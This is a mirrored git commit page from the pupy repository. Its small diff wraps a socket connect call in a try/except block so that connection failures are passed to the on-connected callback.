mirror of https://github.com/n1nj4sec/pupy.git
Handle inplace connect errors correctly
This commit is contained in:
parent
faec654b42
commit
9bddbc57a9
|
@ -174,7 +174,10 @@ class Connection(object):
|
|||
self.forward()
|
||||
|
||||
def _start_connect(self, address):
|
||||
self.socket.connect(address, self._on_connected)
|
||||
try:
|
||||
self.socket.connect(address, self._on_connected)
|
||||
except:
|
||||
self._on_connected(None, -1)
|
||||
|
||||
def connect(self, address):
|
||||
self.loop.queue_work(lambda: self._start_connect(address))
|
||||
|
|
Loading…
Reference in New Issue